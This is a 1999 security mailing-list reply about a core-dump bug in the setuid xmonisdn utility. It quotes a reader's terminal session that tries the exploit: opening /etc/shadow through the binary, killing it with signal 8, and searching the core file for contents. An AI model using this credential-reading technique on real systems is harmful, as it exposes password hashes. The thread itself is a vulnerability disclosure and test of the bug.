Re: xmonisdn (isdn4k-utils/Linux) bug report

From: Ron van Daal (ronvdaalat_private)
Date: Wed Oct 20 1999 - 05:40:43 PDT

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    Hi Jan-Hendrik,
    
    That's the behaviour I would expect from xmonisdn. A setuid binary
    shouldn't dump core if it's being executed by a user which doesn't
    match the ownership of the binary. Therefore I think there are two
    problems: 1) (small) bug in xmonisdn 2) a bug in my Linux system.
    
    The problem appeared on my desktop system (RedHat kernel 2.2.5-15),
    but I couldn't reproduce it on one of my other Linux systems (using
    kernels 2.0.36 and 2.2.12-OpenWall).
    
    --
    Ron van Daal          | Syntonic Internet | tel. +31(0)46-4230738
    ronvdaalat_private | www.syntonic.net  | fax. +31(0)46-4230739
    
    On Wed, 20 Oct 1999, Jan-Hendrik Terstegge wrote:
    
    > On Tue, 19 Oct 1999 Ron wrote:
    > > While playing with xmonisdn (included in the isdn4k-utils package),
    > > I discovered a little bug. I didn't find anything regarding xmonisdn
    > > in the Bugtraq archives, so here's a quick post.
    > > I'm wondering if other xmonisdn users can reproduce this exploit.
    > > (Tested on my workstation, which is running Red Hat Linux 6.0)
    > >[... exploit ...]
    > I tried the exploit on my workstations, running SuSE Linux 6.1 and 6.2 but it
    > seems as if it was an only RedHat Linux exploit.
    > This was my try to exploit myself. When I make the 'killall -8 xmonisdn' my
    > xmonisdn dies only with an Floating exception but it doesn't dump a core.
    >
    > ---snip---
    > [pts/0@tatooine] /usr/bin > pwd; ls -al xmonisdn
    > /usr/bin
    > -rwsr-xr-x    1	root	root	15340	Jul 23 01:20 xmonisdn
    > [pts/0@tatooine] /usr/bin > xmonisdn -file /etc/shadow
    >
    > [1]  +   Stopped			xmonisdn -file /etc/shadow
    > [pts/0@tatooine] /usr/bin > bg
    > [1]     xmonisdn -file /etc/shadow &
    > [pts/0@tatooine] /usr/bin > killall -8 xmonisdn
    > [1]     Floating exception		xmonisdn -file /etc/shadow
    > [pts/0@tatooine] /usr/bin > strings core |less
    > strings: core: File or Directory not found
    > ---snip---
    >
    >
    > --
    > Jan-Hendrik Terstegge
    > <sysadminat_private>
    >
    



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